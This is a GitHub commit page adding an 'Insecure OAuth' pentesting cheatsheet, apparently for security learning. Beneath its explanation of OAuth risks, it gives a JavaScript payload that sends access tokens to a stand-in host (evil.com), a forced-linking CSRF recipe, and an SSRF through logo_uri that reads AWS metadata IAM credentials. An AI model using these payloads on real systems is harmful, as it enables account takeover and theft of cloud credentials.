Skip to content

Commit

Permalink
add insecure oauth
Browse files Browse the repository at this point in the history
  • Loading branch information
xanhacks committed Dec 20, 2022
1 parent f66c428 commit 08396ab
Show file tree
Hide file tree
Showing 3 changed files with 47 additions and 0 deletions.
38 changes: 38 additions & 0 deletions docs/web/OAuth.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
---
title: Insecure OAuth
description: Insecure OAuth cheatsheet
---

# Insecure OAuth

## Definition

OAuth (Open Authorization) is a protocol that allows a user to grant third-party access to their resources without sharing their credentials. It is commonly used as a means of secure authentication and authorization for web applications, APIs, and other online services.

There are several potential attack vectors associated with OAuth, including:

- Phishing attacks: Attackers may try to trick users into granting access to their resources by disguising themselves as a legitimate OAuth provider and presenting a fake login or authorization prompt.
- Access token leakage: If an access token is leaked or stolen, an attacker may be able to gain unauthorized access to the protected resources. This can occur if the token is stored insecurely or transmitted over an unencrypted connection.
- Misuse of the authorization grant: Attackers may try to abuse the authorization grant by using it to access resources that were not intended to be shared, or by using the grant to perform actions that the user did not authorize.
- Resource owner impersonation: An attacker may try to impersonate the resource owner and gain access to their resources by manipulating the OAuth authorization process.
- Client impersonation: An attacker may try to impersonate a legitimate OAuth client and gain access to protected resources on behalf of the client.

To protect against these types of attacks, it is important to implement OAuth in a secure manner and to educate users about the potential risks associated with granting third-party access to their resources.

## Attacks

- Get valid token, and change username on auth request which goes to the client application, ex `POST /authenticate`
- Exploit redirect_uri to steal access token (whitelist bypass by exploiting an OpenRedirect on the client application)

```javascript
<script>
if (!document.location.hash) {
window.location = 'https://example.com/auth?client_id=CLIENT_ID&redirect_uri=https://example.com/oauth-callback/../post/next?path=https://evil.com/&response_type=token&nonce=399721827&scope=openid%20profile%20email';
} else {
window.location = '/?'+btoa(document.location);
}
</script>
```

- No state, force linking, `GET /oauth-linking?code=G6yRLEh0waXxTON0Xm5rLXC3dWScTqvn1Wd964vuvTR` drop request & send this to the victim, it will link OAuth your account to their main account
- Extract openID info `GET /.well-known/openid-configuration`, create a client register with logo `"logo_uri":"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"`, then dump logo `GET /client/<client_id>/logo`
5 changes: 5 additions & 0 deletions docs/web/file-upload.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,8 @@
---
title: Insecure file upload
description: Insecure file upload cheatsheet
---

# Insecure File upload

## Definition
Expand Down
4 changes: 4 additions & 0 deletions docs/web/host-header-attack.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,7 @@
---
title: Host header attack
description: Host header attack cheatsheet
---

# Host header attack

Expand Down

0 comments on commit 08396ab

Please sign in to comment.